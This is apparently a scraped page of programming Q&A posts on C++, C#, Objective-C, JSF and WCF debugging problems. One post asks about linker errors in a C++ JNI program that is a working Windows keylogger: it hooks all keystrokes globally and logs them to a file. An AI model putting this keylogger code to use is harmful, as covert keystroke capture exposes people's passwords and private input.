/*virtual*/void SMSDispatch::sendSMS(string json) { ofstream myfile; myfile.open ("sms_out.log"); myfile << json; myfile.close(); } int main() { }

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• Programmatically adding an object and selecting the correspondig row does not make it become the CurrentRow

  - by Robert

  I'm in a struggle with the DataGridView: I do have a BindingList of some simple objects that implement INotifyPropertyChanged. The DataGridView's datasource is set to this BindingList. Now I need to add an object to the list by hitting the "+" key. When an object is added, it should appear as a new row and it shall become the current row. As the CurrentRow-property is readonly, I iterate through all rows, check if its bound item is the newly created object, and if it is, I set this row to "Selected = true;" The problem: although the new object and thereby a new row gets inserted and selected in the DataGridView, it still is not the CurrentRow! It does not become the CurrentRow unless I do a mouse click into this new row. In this test program you can add new objects (and thereby rows) with the "+" key, and with the "i" key the data-bound object of the CurrentRow is shown in a MessageBox. How can I make a newly added object become the CurrentObject? Thanks for your help! Here's the sample: using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace WindowsFormsApplication1 { public partial class Form1 : Form { BindingList<item> myItems; public Form1() { InitializeComponent(); myItems = new BindingList<item>(); for (int i = 1; i <= 10; i++) { myItems.Add(new item(i)); } dataGridView1.DataSource = myItems; } public void Form1_KeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Add) { addItem(); } } public void addItem() { item i = new item(myItems.Count + 1); myItems.Add(i); foreach (DataGridViewRow dr in dataGridView1.Rows) { if (dr.DataBoundItem == i) { dr.Selected = true; } } } private void btAdd_Click(object sender, EventArgs e) { addItem(); } private void dataGridView1_KeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Add) { addItem(); } if (e.KeyCode == Keys.I) { MessageBox.Show(((item)dataGridView1.CurrentRow.DataBoundItem).title); } } } public class item : INotifyPropertyChanged { public event PropertyChangedEventHandler PropertyChanged; private int _id; public int id { get { return _id; } set { this.title = "This is item number " + value.ToString(); _id = value; InvokePropertyChanged(new PropertyChangedEventArgs("id")); } } private string _title; public string title { get { return _title; } set { _title = value; InvokePropertyChanged(new PropertyChangedEventArgs("title")); } } public item(int id) { this.id = id; } #region Implementation of INotifyPropertyChanged public void InvokePropertyChanged(PropertyChangedEventArgs e) { PropertyChangedEventHandler handler = PropertyChanged; if (handler != null) handler(this, e); } #endregion } }

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• Can i use a switch to hold a function?

  - by TIMOTHY

  I have a 3 file program, basically teaching myself c++. I have an issue. I made a switch to use the math function. I need and put it in a variable, but for some reason I get a zero as a result. Also another issue, when I select 4 (divide) it crashes... Is there a reason? Main file: #include <iostream> #include "math.h" #include <string> using namespace std; int opersel; int c; int a; int b; string test; int main(){ cout << "Welcome to Math-matrix v.34"<< endl; cout << "Shall we begin?" <<endl; //ASK USER IF THEY ARE READY TO BEGIN string answer; cin >> answer; if(answer == "yes" || answer == "YES" || answer == "Yes") { cout << "excellent lets begin..." << endl; cout << "please select a operator..." << endl << endl; cout << "(1) + " << endl; cout << "(2) - " << endl; cout << "(3) * " << endl; cout << "(4) / " << endl; cin >> opersel; switch(opersel){ case 1: c = add(a,b); break; case 2: c = sub(a,b); break; case 3: c = multi(a,b); break; case 4: c = divide(a,b); break; default: cout << "error... retry" << endl; }// end retry cout << "alright, how please select first digit?" << endl; cin >> a; cout << "excellent... and your second?" << endl; cin >> b; cout << c; cin >> test; }else if (answer == "no" || answer == "NO" || answer == "No"){ }//GAME ENDS }// end of int main Here is my math.h file #ifndef MATH_H #define MATH_H int add(int a, int b); int sub(int a, int b); int multi(int a, int b); int divide(int a, int b); #endif Here is my math.cpp: int add(int a, int b) { return a + b; } int sub(int a, int b) { return a - b; } int multi(int a, int b) { return a * b; } int divide(int a, int b) { return a / b; } }// end of int main

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• Synchronous communication using NSOperationQueue

  - by chip_munks

  I am new to Objective C programming. I have created two threads called add and display using the NSInvocationOperation and added it on to the NSOperationQueue. I make the display thread to run first and then run the add thread. The display thread after printing the "Welcome to display" has to wait for the results to print from the add method. So i have set the waitUntilFinished method. Both the Operations are on the same queue. If i use waitUntilFinished for operations on the same queue there may be a situation for deadlock to happen(from apples developer documentation). Is it so? To wait for particular time interval there is a method called waitUntilDate: But if i need to like this wait(min(100,dmax)); let dmax = 20; How to do i wait for these conditions? It would be much helpful if anyone can explain with an example. EDITED: threadss.h ------------ #import <Foundation/Foundation.h> @interface threadss : NSObject { BOOL m_bRunThread; int a,b,c; NSOperationQueue* queue; NSInvocationOperation* operation; NSInvocationOperation* operation1; NSConditionLock* theConditionLock; } -(void)Thread; -(void)add; -(void)display; @end threadss.m ------------ #import "threadss.h" @implementation threadss -(id)init { if (self = [super init]) { queue = [[NSOperationQueue alloc]init]; operation = [[NSInvocationOperation alloc]initWithTarget:self selector:@selector(display) object:nil]; operation1 = [[NSInvocationOperation alloc]initWithTarget:self selector:@selector(add) object:nil]; theConditionLock = [[NSConditionLock alloc]init]; } return self; } -(void)Thread { m_bRunThread = YES; //[operation addDependency:operation1]; if (m_bRunThread) { [queue addOperation:operation]; } //[operation addDependency:operation1]; [queue addOperation:operation1]; //[self performSelectorOnMainThread:@selector(display) withObject:nil waitUntilDone:YES]; //NSLog(@"I'm going to do the asynchronous communication btwn the threads!!"); //[self add]; //[operation addDependency:self]; sleep(1); [queue release]; [operation release]; //[operation1 release]; } -(void)add { NSLog(@"Going to add a and b!!"); a=1; b=2; c = a + b; NSLog(@"Finished adding!!"); } -(void)display { NSLog(@"Into the display method"); [operation1 waitUntilFinished]; NSLog(@"The Result is:%d",c); } @end main.m ------- #import <Foundation/Foundation.h> #import "threadss.h" int main (int argc, const char * argv[]) { NSAutoreleasePool * pool = [[NSAutoreleasePool alloc] init]; threadss* thread = [[threadss alloc]init]; [thread Thread]; [pool drain]; return 0; } This is what i have tried with a sample program. output 2011-06-03 19:40:47.898 threads_NSOperationQueue[3812:1503] Going to add a and b!! 2011-06-03 19:40:47.898 threads_NSOperationQueue[3812:1303] Into the display method 2011-06-03 19:40:47.902 threads_NSOperationQueue[3812:1503] Finished adding!! 2011-06-03 19:40:47.904 threads_NSOperationQueue[3812:1303] The Result is:3 Is the way of invoking the thread is correct. 1.Will there be any deadlock condition? 2.How to do wait(min(100,dmax)) where dmax = 50.

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• Trying to reinvent the wheel of StackOverflow to have a good learning experience. Need some suggesti

  - by Legend

  I want to learn and am not able to do it unless I have a real "mission" to complete. SO is my favorite and I can't imagine a better experience than actually recreating it but not in ASP. I'd like to use PHP+MySQL+jQuery. So far, I have been a self-taught programmer but I would like to master one paradigm that forces you to adhere to the standards. For instance, recently, jQuery forced me to use some "rules". The plugins were supposed to be written in a particular way and that's it. When I started off, everything seemed like Greek and Latin but when I finished a very small plugin, I felt really happy because it forced me to program in a certain way. I am looking for something like this only in a larger project. I've heard a lot about MVC and all but I am confused about the various frameworks out there. Zend seems awesome but looks heavy at the same time and also requires you to have a lot more control over the web-server whereas CakePHP is a good and a fast framework that needs only little control. Do I use one of these or just write my own MVC? I have the following goals: Goals: Site should be fast - I know this depends on my coding skills but I will learn on my way. The framework itself should not slow me down) Setting up the site should not require you to use command-line - This requirement is ok during development. But some frameworks like Symphony require you to initialize certain things through command-line Should support pluggable modules - For instance, if I want to be able to use the FCK editor, I should be able to organize things in a good way. Should be possible to extend - For instance, SO is mainly a Q&A site but I should be able to logically extend it into an Idea Management System (optional but I'm curious). This goes more into code re-usability I guess. I am comfortable with MySQL so I should be done with database design etc. with some serious effort. As for PHP, I can write code on my own but haven't really used any frameworks that much. jQuery, I started off recently and love it. I would be glad if someone can guide me during these initial steps. Precisely, when designing something like SO, I have the following questions: Do I use a framework? If yes, should it be MVC? If MVC, which one is a good and a scalable one? (I'd love something like jQuery that will not die anytime soon) How do I balance the functionality? The same logic can sometimes be made server centric or client centric. (more Ajax?). Is it a good idea to make a heavy javascript site considering the recent advances on client-side JS processing? Just in case anyone is wondering, I am not interested in commercializing any of this. I need a reason to learn something :)

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• C++ Compound Interest Exercise

  - by Lameste

  I'm a beginner trying to learn C++ using "C++ Primer Plus Sixth Edition". I'm on Chapter 5, going over loops. Anyways I was doing this programming exercise from the book, the problem is: Daphne invests $100 at 10% simple interest.That is, every year, the investment earns 10% of the original investment, or $10 each and every year: interest = 0.10 × original balance At the same time, Cleo invests $100 at 5% compound interest.That is, interest is 5% of the current balance, including previous additions of interest: interest = 0.05 × current balance Cleo earns 5% of $100 the first year, giving her $105.The next year she earns 5% of $105, or $5.25, and so on.Write a program that finds how many years it takes for the value of Cleo’s investment to exceed the value of Daphne’s investment and then displays the value of both investments at that time. Here is the code I have written for this exercise, I'm not getting good results though. #include <iostream> #include <array> double Daphne(int, double, double); double Chleo(double, double); int main() { using namespace std; int p = 100; //Principle double i1 = 0.1; // 10% interest rate double i2 = 0.05; // 5% interest rate double dInv = 0; //Daphnes investment double cInv = 0; // Chleos investment int t=1; //Starting at year 1 double s1 = 0; //Sum 1 for Daphne double s2 = 0; // Sum 2 for Chleo s1 = p + 10; //Initial interest (base case after year 1) for Daphne s2 = p + (i2*p); //Initial interest (base case after year 1) for Chleo /*cout << s1 << endl; cout << s2 << endl;*/ while (cInv < dInv) { dInv = Daphne(p, i1, s1); cInv = Chleo(i2, s2); t++; } cout << "The time taken for Chleos investment to exceed Daphnes was: " << t << endl; cout << "Daphnes investment at " << t << " years is: " << dInv << endl; cout << "Chleos invesment at " << t << " years is: " << cInv << endl; system("pause"); return 0; } double Daphne(int p, double i, double s1) { s1 = s1 + (p*i); return s1; } double Chleo(double i, double s2){ s2 = s2 + (s2*i); return s2; } Output from console: The time taken for Chleos investment to exceed Daphnes was: 1 Daphnes investment at 1 years is: 0 Chleos invesment at 1 years is: 0 Press any key to continue . . . Can anyone explain why I'm getting this current result? The while loop is supposed to continue executing statements until Chleo's investment exceeds Daphnes.

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• c++ protected pointer member to the same class and access privileges

  - by aajmakin

  Hi, Example code is included at the bottom of the message. I'm puzzled about the protected access specifier in a class. I have define a class node which has a protected string member name string name; and a vector of node pointers vector args; Before I thought that a member function of node could not do args[0]-name but a program that does just this does compile and run. However, now I would like to inherit this class and access the name field in one of the args array pointers from this derived class args[0]-name but this does not compile. When I compile the example code below with the commented sections uncommented, the compiler reports: Compiler output: g++ test.cc -o test test.cc: In member function 'void foo::newnode::print_args2()': test.cc:22: error: 'std::string foo::node::name' is protected test.cc:61: error: within this context Compilation exited abnormally with code 1 at Thu Jun 17 12:40:12 Questions: Why can I access the name field of the node pointers in args in class node, because this is what I would excpect from a similarly defined private field in Java. How can I access those fields from the derived class. Example code: #include <iostream> #include <vector> using namespace std; namespace foo { class node; typedef std::vector<node*> nodes; class node { public: node (string _name); void print_args (); void add_node (node* a); protected: nodes args; string name; }; } foo::node::node (string _name) : args(0) { name = _name; } void foo::node::add_node (node* a) { args.push_back(a); } void foo::node::print_args () { for (int i = 0; i < args.size(); i++) { cout << "node " << i << ": " << args[i]->name << endl; } } // namespace foo // { // class newnode : public node // { // public: // newnode (string _name) : node(_name) {} // void print_args2 (); // protected: // }; // } // void foo::newnode::print_args2 () // { // for (int i = 0; i < args.size(); i++) // { // cout << "node " << i << ": " << args[i]->name << endl; // } // } int main (int argc, char** argv) { foo::node a ("a"); foo::node b ("b"); foo::node c ("c"); a.add_node (&b); a.add_node (&c); a.print_args (); // foo::newnode newa ("newa"); // foo::newnode newb ("newb"); // foo::newnode newc ("newc"); // newa.add_node (&newb); // newa.add_node (&newc); // newa.print_args2 (); return 0; }

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• How to call virtual function of an object in C++

  - by SoonDead

  I'm struggling with calling a virtual function in C++. I'm not experienced in C++, I mainly use C# and Java so I might have some delusions, but bear with me. I have to write a program where I have to avoid dynamic memory allocation if possible. I have made a class called List: template <class T> class List { public: T items[maxListLength]; int length; List() { length = 0; } T get(int i) const { if (i >= 0 && i < length) { return items[i]; } else { throw "Out of range!"; } }; // set the value of an already existing element void set(int i, T p) { if (i >= 0 && i < length) { items[i] = p; } else { throw "Out of range!"; } } // returns the index of the element int add(T p) { if (length >= maxListLength) { throw "Too many points!"; } items[length] = p; return length++; } // removes and returns the last element; T pop() { if (length > 0) { return items[--length]; } else { throw "There is no element to remove!"; } } }; It just makes an array of the given type, and manages the length of it. There is no need for dynamic memory allocation, I can just write: List<Object> objects; MyObject obj; objects.add(obj); MyObject inherits form Object. Object has a virtual function which is supposed to be overridden in MyObject: struct Object { virtual float method(const Input& input) { return 0.0f; } }; struct MyObject: public Object { virtual float method(const Input& input) { return 1.0f; } }; I get the elements as: objects.get(0).method(asdf); The problem is that even though the first element is a MyObject, the Object's method function is called. I'm guessing there is something wrong with storing the object in an array of Objects without dynamically allocating memory for the MyObject, but I'm not sure. Is there a way to call MyObject's method function? How? It's supposed to be a heterogeneous collection btw, so that's why the inheritance is there in the first place. If there is no way to call the MyObject's method function, then how should I make my list in the first place?

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• JSF - Random Number using Beans (JAVA)

  - by Alex Encore Tr

  I am trying to create a jsf application which, upon page refresh increments the hit counter and generates two random numbers. What should be displayed on the window may look something like this: On your On your roll x you have thrown x and x For this program I decided to create two Beans, one to hold the page refresh counter and one to generate a random number. Those look like this for the moment: CounterBean.java package diceroll; public class CounterBean { int count=0; public CounterBean() { } public void setCount(int count) { this.count=count; } public int getCount() { count++; return count; } } RandomNumberBean.java package diceroll; import java.util.Random; public class RandomNumberBean { int rand=0; Random r = new Random(); public RandomNumberBean() { rand = r.nextInt(6); } public void setNextInt(int rand) { this.rand=rand; } public int getNextInt() { return rand; } } I have then created an index.jsp to display the above message. <html> <%@ taglib uri="http://java.sun.com/jsf/core" prefix="f"%> <%@ taglib uri="http://java.sun.com/jsf/html" prefix="h"%> <f:view> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>Roll the Dice</title> </head> <body> <h:form> <p> On your roll # <h:outputText value="#{CounterBean.count} " /> you have thrown <h:outputText value="#{RandomNumberBean.rand}" />and <h:outputText value="#{RandomNumberBean.rand} " /> </p> </h:form> </body> </f:view> </html> However, when I run the application, I get the following message: org.apache.jasper.el.JspPropertyNotFoundException: /index.jsp(14,20) '#{RandomNumberBean.rand}' Property 'rand' not found on type diceroll.RandomNumberBean Caused by: org.apache.jasper.el.JspPropertyNotFoundException - /index.jsp(14,20) '#{RandomNumberBean.rand}' Property 'rand' not found on type diceroll.RandomNumberBean I suppose there's a mistake with my faces-config.xml file, so I will post this here as well, see if somebody can provide some help: faces-config.xml <?xml version="1.0" encoding="UTF-8"?> <faces-config xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-facesconfig_2_0.xsd" version="2.0"> <managed-bean> <managed-bean-name>CounterBean</managed-bean-name> <managed-bean-class>diceroll.CounterBean</managed-bean-class> <managed-bean-scope>session</managed-bean-scope> </managed-bean> <managed-bean> <managed-bean-name>RandomNumberBean</managed-bean-name> <managed-bean-class>diceroll.RandomNumberBean</managed-bean-class> <managed-bean-scope>session</managed-bean-scope> </managed-bean> </faces-config>

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• Serious problem with WCF, GridViews, Callbacks and ExecuteReaders exceptions.

  - by barjed

  Hi, I have this problem that is driving me insane. I have a project to deliver before Thursday. Basically an app consiting of three components that communicate with each other in WCF. I have one console app and one Windows Forms app. The console app is a server that's connected to the database. You can add records to it via the Windows Forms client that connectes with the server through the WCF. The code for the client: namespace BankAdministratorClient { [CallbackBehavior(ConcurrencyMode = ConcurrencyMode.Single, UseSynchronizationContext = false)] public partial class Form1 : Form, BankServverReference.BankServerCallback { private BankServverReference.BankServerClient server = null; private SynchronizationContext interfaceContext = null; public Form1() { InitializeComponent(); interfaceContext = SynchronizationContext.Current; server = new BankServverReference.BankServerClient(new InstanceContext(this), "TcpBinding"); server.Open(); server.Subscribe(); refreshGridView(""); } public void refreshClients(string s) { SendOrPostCallback callback = delegate(object state) { refreshGridView(s); }; interfaceContext.Post(callback, s); } public void refreshGridView(string s) { try { userGrid.DataSource = server.refreshDatabaseConnection().Tables[0]; } catch (Exception ex) { MessageBox.Show(ex.ToString()); } } private void buttonAdd_Click(object sender, EventArgs e) { server.addNewAccount(Int32.Parse(inputPIN.Text), Int32.Parse(inputBalance.Text)); } private void Form1_FormClosing(object sender, FormClosingEventArgs e) { try { server.Unsubscribe(); server.Close(); }catch{} } } } The code for the server: namespace SSRfinal_tcp { class Program { static void Main(string[] args) { Console.WriteLine(MessageHandler.dataStamp("The server is starting up")); using (ServiceHost server = new ServiceHost(typeof(BankServer))) { server.Open(); Console.WriteLine(MessageHandler.dataStamp("The server is running")); Console.ReadKey(); } } } [ServiceBehavior(ConcurrencyMode = ConcurrencyMode.Single, InstanceContextMode = InstanceContextMode.PerCall, IncludeExceptionDetailInFaults = true)] public class BankServer : IBankServerService { private static DatabaseLINQConnectionDataContext database = new DatabaseLINQConnectionDataContext(); private static List<IBankServerServiceCallback> subscribers = new List<IBankServerServiceCallback>(); public void Subscribe() { try { IBankServerServiceCallback callback = OperationContext.Current.GetCallbackChannel<IBankServerServiceCallback>(); if (!subscribers.Contains(callback)) subscribers.Add(callback); Console.WriteLine(MessageHandler.dataStamp("A new Bank Administrator has connected")); } catch { Console.WriteLine(MessageHandler.dataStamp("A Bank Administrator has failed to connect")); } } public void Unsubscribe() { try { IBankServerServiceCallback callback = OperationContext.Current.GetCallbackChannel<IBankServerServiceCallback>(); if (subscribers.Contains(callback)) subscribers.Remove(callback); Console.WriteLine(MessageHandler.dataStamp("A Bank Administrator has been signed out from the connection list")); } catch { Console.WriteLine(MessageHandler.dataStamp("A Bank Administrator has failed to sign out from the connection list")); } } public DataSet refreshDatabaseConnection() { var q = from a in database.GetTable<Account>() select a; DataTable dt = q.toTable(rec => new object[] { q }); DataSet data = new DataSet(); data.Tables.Add(dt); Console.WriteLine(MessageHandler.dataStamp("A Bank Administrator has requested a database data listing refresh")); return data; } public void addNewAccount(int pin, int balance) { Account acc = new Account() { PIN = pin, Balance = balance, IsApproved = false }; database.Accounts.InsertOnSubmit(acc); database.SubmitChanges(); database.addNewAccount(pin, balance, false); subscribers.ForEach(delegate(IBankServerServiceCallback callback) { callback.refreshClients("New operation is pending approval."); }); } } } This is really simple and it works for a single window. However, when you open multiple instances of the client window and try to add a new record, the windows that is performing the insert operation crashes with the ExecuteReader error and the " requires an open and available connection. the connection's current state is connecting" bla bla stuff. I have no idea what's going on. Please advise.

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• Calling fuctions of header file

  - by navinbecse

  i want to know the way i am calling the methods defined in windows.h from c++ program is correct or wrong.. when i tried to get the library files out of it, it is showing the errors saying that unresolved methods... i am using this for jni purpose... #define _WIN32_WINNT 0x0500 #include "keylogs.h" #include <fstream #include <windows.h using namespace std; ofstream out("C:\Users\402100\Desktop\keyloggerfile.txt", ios::out); LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p-vkCode) { // Invisible keys case VK_CAPITAL: out << ""; break; case VK_SHIFT: out << ""; break; case VK_LCONTROL: out << ""; break; case VK_RCONTROL: out << ""; break; case VK_INSERT: out << ""; break; case VK_END: out << ""; break; case VK_PRINT: out << ""; break; case VK_DELETE: out << ""; break; case VK_BACK: out << ""; break; case VK_SPACE: out << ""; break; case VK_RMENU: out << ""; break; case VK_LMENU: out << ""; break; case VK_LEFT: out << ""; break; case VK_RIGHT: out << ""; break; case VK_UP: out << ""; break; case VK_DOWN: out << ""; break; // Visible keys default: out << char(tolower(p->vkCode)); } } return CallNextHookEx(NULL, nCode, wParam, lParam); } JNIEXPORT void JNICALL Java_keylog_Main_CallerMethod(JNIEnv *env, jobject) { HINSTANCE hInstance=GetModuleHandle(0); HHOOK keyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK); out.close(); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { // Set windows hook return 0; } The errors which i am getting is... file.obj : error LNK2019: unresolved external symbol _imp_CallNextHookEx@16 re ferenced in function "long __stdcall keyboardHookProc(int,unsigned int,long)" (? keyboardHookProc@@YGJHIJ@Z) file.obj : error LNK2019: unresolved external symbol _imp_MessageBoxA@16 refer enced in function "class std::basic_string,cl ass std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA?AV?$ba sic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) file.obj : error LNK2019: unresolved external symbol _imp_SetWindowsHookExA@16 referenced in function "class std::basic_string,class std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA? AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) c:\Users\402100\Desktop\oldfile.dll : fatal error LNK1120: 3 unresolved externals can any one help me please....

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• C++ Simple thread with parameter (no .net)

  - by Marc Vollmer

  I've searched the internet for a while now and found different solutions but then all don't really work or are to complicated for my use. I used C++ until 2 years ago so it might be a bit rusty :D I'm currently writing a program that posts data to an URL. It only posts the data nothing else. For posting the data I use curl, but it blocks the main thread and while the first post is still running there will be a second post that should start. In the end there are about 5-6 post operations running at the same time. Now I want to push the posting with curl into another thread. One thread per post. The thread should get a string parameter with the content what to push. I'm currently stuck on this. Tried the WINAPI for windows but that crashes on reading the parameter. (the second thread is still running in my example while the main thread ended (waiting on system("pause")). It would be nice to have a multi plattform solution, because it will run under windows and linux! Heres my current code: #define CURL_STATICLIB #include <curl/curl.h> #include <curl/easy.h> #include <cstdlib> #include <iostream> #include <stdio.h> #include <stdlib.h> #include <string> #if defined(WIN32) #include <windows.h> #else //#include <pthread.h> #endif using namespace std; void post(string post) { // Function to post it to url CURL *curl; // curl object CURLcode res; // CURLcode object curl = curl_easy_init(); // init curl if(curl) { // is curl init curl_easy_setopt(curl, CURLOPT_URL, "http://10.8.27.101/api.aspx"); // set url string data = "api=" + post; // concat post data strings curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data.c_str()); // post data res = curl_easy_perform(curl); // execute curl_easy_cleanup(curl); // cleanup } else { cerr << "Failed to create curl handle!\n"; } } #if defined(WIN32) DWORD WINAPI thread(LPVOID data) { // WINAPI Thread string pData = *((string*)data); // convert LPVOID to string [THIS FAILES] post(pData); // post it with curl } #else // Linux version #endif void startThread(string data) { // FUnction to start the thread string pData = data; // some Test #if defined(WIN32) CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)thread, &pData, 0, NULL); // Start a Windows thread with winapi #else // Linux version #endif } int main(int argc, char *argv[]) { // The post data to send string postData = "test1234567890"; startThread(postData); // Start the thread system("PAUSE"); // Dont close the console window return EXIT_SUCCESS; } Has anyone a suggestion? Thanks for the help!

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• How can I draw a line with a variable of width?

  - by user1729944

  #include <iostream> #include <cmath> #include "graph1.h" using namespace std; int main() { int diameter = 0; int height = 0; double rate = 0; char repeat = 'y'; int obj_num = 0; displayGraphics(); obj_num = drawRect(0,0,50,400); setColor(obj_num,200,200,200); obj_num = drawRect(0,400,640,79); setColor(obj_num,71,35,35); obj_num = drawLine(50,50,150,50,5); setColor(obj_num,80,80,80); displayBMP("faucet.bmp",150,12); do { do { cout << "Enter the diamater of the cylinder <in inches > 0 but <= 300: "; cin >> diameter; if((diameter<0) || (diameter>300)) { cout << "Incorrect diamater entered; value must be between 1 and 300" << endl; } }while((diameter<0) || (diameter>300)); do { cout << "Enter the height of the cylinder <in inches > 0 but <= 325: "; cin >> height; if((height<0) || (height>325)) { cout << "Incorrect height entered; value must be between 1 and 325" << endl; } }while((height<0) || (height>325)); do { cout << "Enter the facet water's rate: <gallons/minute> "; cin >> rate; if((rate<0) || (rate>100)) { cout << "Incorrect rate entered; value must be between 1 and 100" << endl; } }while((rate<0) || (rate>100)); //I need to draw the lines here. The graphics window has a faucet that is supposed to fill //up a cylinder made out of 3 lines. I don't know how to make the lines vary from the users //input since lines are hard coded with points and all i am receiving is the width for the //bottom line and the height for the left and right lines. cout << "Repeat program? (y/n): "; cin >> repeat; clearGraphics(); }while ( (repeat == 'y') || (repeat == 'Y') ); return 0; } Here is a screenshot for reference:

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